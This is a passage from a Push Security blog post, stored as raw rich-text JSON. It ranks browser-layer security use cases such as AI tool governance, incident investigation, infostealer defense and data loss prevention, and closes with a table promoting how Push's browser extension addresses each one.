early-warning layer within a defense that spans browser and endpoint.",{"data":17631,"content":17635,"nodeType":714},{"target":17632},{"sys":17633},{"id":17634,"type":719,"linkType":720},"39alMHtw9FPHbQINqbAgBN",[],{"data":17637,"content":17638,"nodeType":730},{},[],{"data":17640,"content":17641,"nodeType":660},{},[17642],{"data":17643,"marks":17644,"value":17646,"nodeType":503},{},[17645],{"type":667},"#7 — AI visibility and control: enforcing which AI tools employees can use and how",{"data":17648,"content":17649,"nodeType":670},{},[17650],{"data":17651,"marks":17652,"value":17654,"nodeType":503},{},[17653],{"type":667},"Security value: High | Browser fit: Strong for access enforcement — but AI governance is not a new security problem so much as a force multiplier on existing ones",{"data":17656,"content":17657,"nodeType":670},{},[17658,17662,17670,17674,17683],{"data":17659,"marks":17660,"value":17661,"nodeType":503},{},[],"AI adoption is outpacing security governance at nearly every organization, and ",{"data":17663,"content":17664,"nodeType":795},{"uri":16015},[17665],{"data":17666,"marks":17667,"value":17669,"nodeType":503},{},[17668],{"type":667},"71% of organizations are concerned about data leakage via unsanctioned AI apps",{"data":17671,"marks":17672,"value":17673,"nodeType":503},{},[],". But the security problems that AI creates are not, for the most part, novel — they are existing Tier 1 problems amplified by a new category of tooling. Shadow AI apps are shadow SaaS (#5). AI OAuth integrations are OAuth governance (#5). AI browser extensions are extension security (#4). The risk of employees using personal AI accounts — ",{"data":17675,"content":17677,"nodeType":795},{"uri":17676},"https:\u002F\u002Fkeepaware.com\u002Fblog\u002F46-of-sensitive-data-bypasses-your-dlp",[17678],{"data":17679,"marks":17680,"value":17682,"nodeType":503},{},[17681],{"type":667},"46% of sensitive inputs to AI tools are sent via personal accounts",{"data":17684,"marks":17685,"value":17686,"nodeType":503},{},[]," — is an identity posture problem (#3).",{"data":17688,"content":17689,"nodeType":670},{},[17690],{"data":17691,"marks":17692,"value":17693,"nodeType":503},{},[],"The component parts that allow you to govern AI are individually Tier 1 capabilities, and the browser is the best single layer for gaining visibility and control over AI usage — it sees the apps, the OAuth grants, the extensions, and the account context. But a complete end-to-end solution also requires a presence on the endpoint layer (for local AI tools, IDE-integrated agents, and API-level usage that never touches the browser), and prompt-level DLP on sanctioned tools is better handled by platform-native controls than by browser-layer observation.",{"data":17695,"content":17699,"nodeType":714},{"target":17696},{"sys":17697},{"id":17698,"type":719,"linkType":720},"6Py3z9VgjhKrchmYvhmbsq",[],{"data":17701,"content":17702,"nodeType":670},{},[17703],{"data":17704,"marks":17705,"value":17706,"nodeType":503},{},[],"The browser is what makes platform controls effective — if employees are using personal accounts, there are no enterprise audit logs to inspect. And for the growing category of AI agents, agentic browsers, and MCP-connected tools that operate through OAuth grants rather than direct user interaction, the browser is where the consent decisions that authorize those agents are made.",{"data":17708,"content":17709,"nodeType":730},{},[],{"data":17711,"content":17712,"nodeType":660},{},[17713],{"data":17714,"marks":17715,"value":17717,"nodeType":503},{},[17716],{"type":667},"#8 — Investigation acceleration and incident response: closing the missing middle",{"data":17719,"content":17720,"nodeType":670},{},[17721],{"data":17722,"marks":17723,"value":17725,"nodeType":503},{},[17724],{"type":667},"Security value: High | Browser fit: Strong — fills a structural gap complementary to endpoint, network, and identity telemetry",{"data":17727,"content":17728,"nodeType":670},{},[17729,17733,17738,17742,17751],{"data":17730,"marks":17731,"value":17732,"nodeType":503},{},[],"Endpoint logs show what processes executed. Network logs show traffic destinations. IdP logs show authentication events. None of them show what happened ",{"data":17734,"marks":17735,"value":17737,"nodeType":503},{},[17736],{"type":2144},"inside the browser session",{"data":17739,"marks":17740,"value":17741,"nodeType":503},{},[]," — the phishing page the user saw, the credentials they entered, the malicious OAuth consent grant, the data uploaded or pasted to an unsanctioned service. This is the missing middle of modern incident investigations, and for the ",{"data":17743,"content":17745,"nodeType":795},{"uri":17744},"https:\u002F\u002Fwww.paloaltonetworks.co.uk\u002Fresources\u002Fresearch\u002Funit-42-incident-response-report",[17746],{"data":17747,"marks":17748,"value":17750,"nodeType":503},{},[17749],{"type":667},"48% of intrusions involving browser-based activity",{"data":17752,"marks":17753,"value":17754,"nodeType":503},{},[],", the absence of browser telemetry is a significant investigative gap.",{"data":17756,"content":17757,"nodeType":670},{},[17758],{"data":17759,"marks":17760,"value":17761,"nodeType":503},{},[],"Browser-layer telemetry fills that gap with a fundamentally different quality of signal: what users actually clicked, what pages loaded and how they behaved, what credentials were entered, what session activity followed — structured, high-fidelity data from inside the session where the attack played out. That's the difference between inferring what happened and seeing it directly, and it determines scope, drives containment decisions, and provides the direct evidential record that neither endpoint DLP nor network monitoring can supply for browser-native attacks.",{"data":17763,"content":17764,"nodeType":670},{},[17765],{"data":17766,"marks":17767,"value":17768,"nodeType":503},{},[],"Browser telemetry is a key addition to the investigative picture. Investigations are inherently multi-source — without browser data, reconstructing an incident from EDR, network, and IdP logs won't tell you the full picture (particularly when attacks are increasingly delivered outside of email, intercepting users as they browse the internet normally).",{"data":17770,"content":17771,"nodeType":670},{},[17772],{"data":17773,"marks":17774,"value":17775,"nodeType":503},{},[],"The browser provides the causal link that other sources miss: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that issued a session token now being replayed from an attacker-controlled browser.\" Integrated with SIEM and SOAR platforms, that signal enables automated response workflows to execute on high-confidence detections without waiting for manual triage.",{"data":17777,"content":17778,"nodeType":730},{},[],{"data":17780,"content":17781,"nodeType":660},{},[17782],{"data":17783,"marks":17784,"value":17786,"nodeType":503},{},[17785],{"type":667},"#9 — Infostealer defense: detecting exposure and blocking delivery",{"data":17788,"content":17789,"nodeType":670},{},[17790],{"data":17791,"marks":17792,"value":17794,"nodeType":503},{},[17793],{"type":667},"Security value: High | Browser fit: Strong for delivery interception and stolen factor detection — complementary to endpoint security for execution",{"data":17796,"content":17797,"nodeType":670},{},[17798],{"data":17799,"marks":17800,"value":17801,"nodeType":503},{},[],"Infostealers are the upstream supply chain for a disproportionate share of the most damaging enterprise attacks — harvesting credentials, session cookies, and browser profile data en masse from infected devices, then selling the outputs on infostealer markets for use in credential stuffing, ATO, and ransomware campaigns.",{"data":17803,"content":17807,"nodeType":714},{"target":17804},{"sys":17805},{"id":17806,"type":719,"linkType":720},"5NF1afwu3zFGThZTtStVQA",[],{"data":17809,"content":17810,"nodeType":670},{},[17811],{"data":17812,"marks":17813,"value":17814,"nodeType":503},{},[],"The browser is relevant at two points in the infostealer kill chain. First, delivery interception: ClickFix (covered in #6) is now the primary infostealer delivery mechanism, and the browser is the only layer that can intercept it before execution. Second, detecting stolen factors when attackers attempt to use them — and infostealers produce two categories of stolen factor that the browser can guard against.",{"data":17816,"content":17817,"nodeType":781},{},[17818,17828],{"data":17819,"content":17820,"nodeType":785},{},[17821],{"data":17822,"content":17823,"nodeType":670},{},[17824],{"data":17825,"marks":17826,"value":17827,"nodeType":503},{},[],"Stolen credentials can be identified at the point of login: browser-layer detection flags credentials that appear in known breach datasets, catching infostealer-harvested passwords being replayed in credential stuffing campaigns before the account is compromised.",{"data":17829,"content":17830,"nodeType":785},{},[17831],{"data":17832,"content":17833,"nodeType":670},{},[17834],{"data":17835,"marks":17836,"value":17837,"nodeType":503},{},[],"Stolen session tokens are caught through a different mechanism: sessions originating in instrumented browsers carry a marker, and when a token subsequently appears in an un-instrumented browser it is a confirmed stolen session — catching infostealer-harvested cookies being replayed regardless of how or where the token was originally harvested.",{"data":17839,"content":17840,"nodeType":670},{},[17841,17845,17854,17858,17863],{"data":17842,"marks":17843,"value":17844,"nodeType":503},{},[],"This is particularly critical for the ",{"data":17846,"content":17848,"nodeType":795},{"uri":17847},"https:\u002F\u002Fwww.verizon.com\u002Fbusiness\u002Fen-gb\u002Fresources\u002Freports\u002Fdbir\u002F",[17849],{"data":17850,"marks":17851,"value":17853,"nodeType":503},{},[17852],{"type":667},"46% of infected devices that are unmanaged",{"data":17855,"marks":17856,"value":17857,"nodeType":503},{},[]," where EDR is absent and the stolen credentials and session tokens will never be detected at the endpoint. Infostealer ",{"data":17859,"marks":17860,"value":17862,"nodeType":503},{},[17861],{"type":2144},"execution",{"data":17864,"marks":17865,"value":17866,"nodeType":503},{},[]," remains an endpoint problem; the browser closes the delivery and replay gaps that endpoint tools miss.",{"data":17868,"content":17869,"nodeType":730},{},[],{"data":17871,"content":17872,"nodeType":660},{},[17873],{"data":17874,"marks":17875,"value":17877,"nodeType":503},{},[17876],{"type":667},"#10 — Data loss prevention: a key component of effective DLP, but not the full picture",{"data":17879,"content":17880,"nodeType":670},{},[17881],{"data":17882,"marks":17883,"value":17885,"nodeType":503},{},[17884],{"type":667},"Security value: Medium-high | Browser fit: Partial — complementary to dedicated DLP",{"data":17887,"content":17888,"nodeType":670},{},[17889],{"data":17890,"marks":17891,"value":17892,"nodeType":503},{},[],"File uploads to unsanctioned services, sensitive data pasted into AI tools, and exfiltration through personal accounts are genuine and growing risks that traditional email and endpoint-centric DLP tools were not designed to catch. Browser-layer controls provide real value here — particularly for BYOD users and contractors, where endpoint DLP agents cannot be deployed and the browser is the only available data loss visibility.",{"data":17894,"content":17895,"nodeType":670},{},[17896],{"data":17897,"marks":17898,"value":17899,"nodeType":503},{},[],"The honest scope: browser-layer DLP does not cover email-based loss, endpoint-to-endpoint transfers, or cloud API exfiltration. It closes specific and important gaps within a broader DLP strategy, not a replacement for one. A further distinction for organizations evaluating browser DLP for secure third-party access: full-stack enterprise browsers can enforce deeper output controls — watermarking, obfuscation, screenshot and print restrictions — at the OS rendering level that browser extensions cannot reliably replicate. Extension-based browser DLP is strongest for upload, input, and access control use cases rather than OS-level output restriction.",{"data":17901,"content":17902,"nodeType":730},{},[],{"data":17904,"content":17905,"nodeType":660},{},[17906],{"data":17907,"marks":17908,"value":17910,"nodeType":503},{},[17909],{"type":667},"Tier 3 — Lower Value: A problem best addressed outside of the browser",{"data":17912,"content":17913,"nodeType":781},{},[17914,17929,17944,17959],{"data":17915,"content":17916,"nodeType":785},{},[17917],{"data":17918,"content":17919,"nodeType":670},{},[17920,17925],{"data":17921,"marks":17922,"value":17924,"nodeType":503},{},[17923],{"type":667},"Browser exploit protection",{"data":17926,"marks":17927,"value":17928,"nodeType":503},{},[]," (narrow RCE\u002Fsandbox sense) ranks lower because browser zero-days represent just 9% of all zero-days reported to Google, and 82% of attack detections are now malware-free (CrowdStrike 2026). This is a problem for browser vendors to solve, and it's not a big enough problem to warrant enterprises investing in additional mitigating controls.",{"data":17930,"content":17931,"nodeType":785},{},[17932],{"data":17933,"content":17934,"nodeType":670},{},[17935,17940],{"data":17936,"marks":17937,"value":17939,"nodeType":503},{},[17938],{"type":667},"Domain and URL category controls",{"data":17941,"marks":17942,"value":17943,"nodeType":503},{},[]," offer genuine browser-layer value but are commoditized by SWG and DNS filtering tools most organizations already operate. This can be provided in the browser, sure (and it's something we do at Push) but offers limited security value in terms of making a difference against modern attacks that quickly rotate these kinds of indicators and are designed to blend in.",{"data":17945,"content":17946,"nodeType":785},{},[17947],{"data":17948,"content":17949,"nodeType":670},{},[17950,17955],{"data":17951,"marks":17952,"value":17954,"nodeType":503},{},[17953],{"type":667},"Access management",{"data":17956,"marks":17957,"value":17958,"nodeType":503},{},[]," — ZTNA, VPN replacement, PAM, BYOD access control — is an IT infrastructure and access architecture problem, not a security operations problem, and belongs to a different buyer with a different evaluation frame. There are numerous (typically full-stack) Enterprise Browser solutions on the market that address IT use cases like this well.",{"data":17960,"content":17961,"nodeType":785},{},[17962],{"data":17963,"content":17964,"nodeType":670},{},[17965,17969],{"data":17966,"marks":17967,"value":359,"nodeType":503},{},[17968],{"type":667},{"data":17970,"marks":17971,"value":17972,"nodeType":503},{},[]," addresses browser exploit risk rather than the identity-first attacks that represent the majority of current enterprise browser risk, and introduces UX friction that limits deployment at scale. When it triggers, it introduces latency but still fails to detect and stop browser-native attacks.",{"data":17974,"content":17975,"nodeType":730},{},[],{"data":17977,"content":17978,"nodeType":660},{},[17979],{"data":17980,"marks":17981,"value":17983,"nodeType":503},{},[17982],{"type":667},"How Push Security maps to the highest-value security use cases",{"data":17985,"content":17986,"nodeType":670},{},[17987],{"data":17988,"marks":17989,"value":17990,"nodeType":503},{},[],"Push is purpose-built to address all of these problems using a flexible browser extension — plug into any browser with no migration, no host agent deployment, and no IT overhead — that delivers telemetry and control from day one, and extends coverage to every enrolled browser regardless of device ownership.",{"data":17992,"content":17993,"nodeType":1630},{},[17994,18019,18043,18067,18091,18115,18139,18163,18187,18211,18235,18258],{"data":17995,"content":17996,"nodeType":1634},{},[17997,18008],{"data":17998,"content":17999,"nodeType":1638},{},[18000],{"data":18001,"content":18002,"nodeType":670},{},[18003],{"data":18004,"marks":18005,"value":18007,"nodeType":503},{},[18006],{"type":667},"Security use case",{"data":18009,"content":18010,"nodeType":1638},{},[18011],{"data":18012,"content":18013,"nodeType":670},{},[18014],{"data":18015,"marks":18016,"value":18018,"nodeType":503},{},[18017],{"type":667},"How Push addresses it",{"data":18020,"content":18021,"nodeType":1634},{},[18022,18033],{"data":18023,"content":18024,"nodeType":1638},{},[18025],{"data":18026,"content":18027,"nodeType":670},{},[18028],{"data":18029,"marks":18030,"value":18032,"nodeType":503},{},[18031],{"type":667},"Account takeover prevention",{"data":18034,"content":18035,"nodeType":1638},{},[18036],{"data":18037,"content":18038,"nodeType":670},{},[18039],{"data":18040,"marks":18041,"value":18042,"nodeType":503},{},[],"Surfaces and fixes ghost logins, weak and breached credentials and missing MFA controls across every app and device — including shadow SaaS and unmanaged devices invisible to the IdP. Push also detects and stops the attack techniques that typically lead to ATO early in the kill chain and before an account can be compromised.",{"data":18044,"content":18045,"nodeType":1634},{},[18046,18057],{"data":18047,"content":18048,"nodeType":1638},{},[18049],{"data":18050,"content":18051,"nodeType":670},{},[18052],{"data":18053,"marks":18054,"value":18056,"nodeType":503},{},[18055],{"type":667},"Advanced phishing detection",{"data":18058,"content":18059,"nodeType":1638},{},[18060],{"data":18061,"content":18062,"nodeType":670},{},[18063],{"data":18064,"marks":18065,"value":18066,"nodeType":503},{},[],"Behavioral page analysis detects phishing kits regardless of whether the domain is known-bad. Credential entry guardrails block corporate passwords from being submitted to unauthorized domains. TTP-based detection remains effective as attacker infrastructure rotates.",{"data":18068,"content":18069,"nodeType":1634},{},[18070,18081],{"data":18071,"content":18072,"nodeType":1638},{},[18073],{"data":18074,"content":18075,"nodeType":670},{},[18076],{"data":18077,"marks":18078,"value":18080,"nodeType":503},{},[18079],{"type":667},"Identity posture hardening",{"data":18082,"content":18083,"nodeType":1638},{},[18084],{"data":18085,"content":18086,"nodeType":670},{},[18087],{"data":18088,"marks":18089,"value":18090,"nodeType":503},{},[],"Enforces MFA, strong credentials, and SSO adoption across every app the IdP doesn't manage. Produces continuous, auditable MFA coverage and credential hygiene evidence across the full application and device estate.",{"data":18092,"content":18093,"nodeType":1634},{},[18094,18105],{"data":18095,"content":18096,"nodeType":1638},{},[18097],{"data":18098,"content":18099,"nodeType":670},{},[18100],{"data":18101,"marks":18102,"value":18104,"nodeType":503},{},[18103],{"type":667},"Browser extension security",{"data":18106,"content":18107,"nodeType":1638},{},[18108],{"data":18109,"content":18110,"nodeType":670},{},[18111],{"data":18112,"marks":18113,"value":18114,"nodeType":503},{},[],"Live extension inventory with supply chain change event monitoring — ownership transfers, permission escalations, developer contact changes — rather than static risk scoring. Supports default-deny allowlisting and remote extension removal. Blocks known-bad malicious extensions automatically.",{"data":18116,"content":18117,"nodeType":1634},{},[18118,18129],{"data":18119,"content":18120,"nodeType":1638},{},[18121],{"data":18122,"content":18123,"nodeType":670},{},[18124],{"data":18125,"marks":18126,"value":18128,"nodeType":503},{},[18127],{"type":667},"Shadow SaaS and OAuth governance",{"data":18130,"content":18131,"nodeType":1638},{},[18132],{"data":18133,"content":18134,"nodeType":670},{},[18135],{"data":18136,"marks":18137,"value":18138,"nodeType":503},{},[],"Discovers shadow SaaS from actual login events with full authentication context. Monitors and blocks OAuth consent flows — including AI and MCP integrations — in real time before persistent access paths are created.",{"data":18140,"content":18141,"nodeType":1634},{},[18142,18153],{"data":18143,"content":18144,"nodeType":1638},{},[18145],{"data":18146,"content":18147,"nodeType":670},{},[18148],{"data":18149,"marks":18150,"value":18152,"nodeType":503},{},[18151],{"type":667},"ClickFix and the *Fix family",{"data":18154,"content":18155,"nodeType":1638},{},[18156],{"data":18157,"content":18158,"nodeType":670},{},[18159],{"data":18160,"marks":18161,"value":18162,"nodeType":503},{},[],"Detects and blocks ClickFix lures, clipboard injection, and browser-native variants like ConsentFix in real time — before the payload executes or OAuth key material is captured.",{"data":18164,"content":18165,"nodeType":1634},{},[18166,18177],{"data":18167,"content":18168,"nodeType":1638},{},[18169],{"data":18170,"content":18171,"nodeType":670},{},[18172],{"data":18173,"marks":18174,"value":18176,"nodeType":503},{},[18175],{"type":667},"AI visibility & control",{"data":18178,"content":18179,"nodeType":1638},{},[18180],{"data":18181,"content":18182,"nodeType":670},{},[18183],{"data":18184,"marks":18185,"value":18186,"nodeType":503},{},[],"Enforces which AI tools employees can access and routes usage to corporate tenants. Governs AI browser extensions and blocks OAuth consent grants to unapproved AI applications — drawing on the same Tier 1 capabilities (OAuth governance, extension security, shadow SaaS discovery) that make this possible.",{"data":18188,"content":18189,"nodeType":1634},{},[18190,18201],{"data":18191,"content":18192,"nodeType":1638},{},[18193],{"data":18194,"content":18195,"nodeType":670},{},[18196],{"data":18197,"marks":18198,"value":18200,"nodeType":503},{},[18199],{"type":667},"Security investigations & incident response",{"data":18202,"content":18203,"nodeType":1638},{},[18204],{"data":18205,"content":18206,"nodeType":670},{},[18207],{"data":18208,"marks":18209,"value":18210,"nodeType":503},{},[],"High-fidelity session telemetry — page loads, credential entries, DOM changes, OAuth grants — fills the missing middle that endpoint, network, and IdP logs leave open. Feeds directly into SIEM and SOAR for automated response.",{"data":18212,"content":18213,"nodeType":1634},{},[18214,18225],{"data":18215,"content":18216,"nodeType":1638},{},[18217],{"data":18218,"content":18219,"nodeType":670},{},[18220],{"data":18221,"marks":18222,"value":18224,"nodeType":503},{},[18223],{"type":667},"Infostealer defense",{"data":18226,"content":18227,"nodeType":1638},{},[18228],{"data":18229,"content":18230,"nodeType":670},{},[18231],{"data":18232,"marks":18233,"value":18234,"nodeType":503},{},[],"Intercepts ClickFix-based infostealer delivery before execution. Detects token replay in unenrolled browser contexts — catching post-theft abuse from AiTM-sourced tokens and infostealer-harvested cookies, including from unmanaged devices.",{"data":18236,"content":18237,"nodeType":1634},{},[18238,18248],{"data":18239,"content":18240,"nodeType":1638},{},[18241],{"data":18242,"content":18243,"nodeType":670},{},[18244],{"data":18245,"marks":18246,"value":349,"nodeType":503},{},[18247],{"type":667},{"data":18249,"content":18250,"nodeType":1638},{},[18251],{"data":18252,"content":18253,"nodeType":670},{},[18254],{"data":18255,"marks":18256,"value":18257,"nodeType":503},{},[],"Observes file uploads, downloads, and sensitive data inputs across all applications. Extends data loss visibility to BYOD and contractor devices where endpoint DLP cannot reach.",{"data":18259,"content":18260,"nodeType":1634},{},[18261,18271],{"data":18262,"content":18263,"nodeType":1638},{},[18264],{"data":18265,"content":18266,"nodeType":670},{},[18267],{"data":18268,"marks":18269,"value":17939,"nodeType":503},{},[18270],{"type":667},{"data":18272,"content":18273,"nodeType":1638},{},[18274],{"data":18275,"content":18276,"nodeType":670},{},[18277],{"data":18278,"marks":18279,"value":18280,"nodeType":503},{},[],"Custom URL blocklists with wildcard support and REST API management for threat intelligence feed sync. Application category blocking restricts access to classes of apps (file-sharing, unsanctioned AI tools) configurable by user group. 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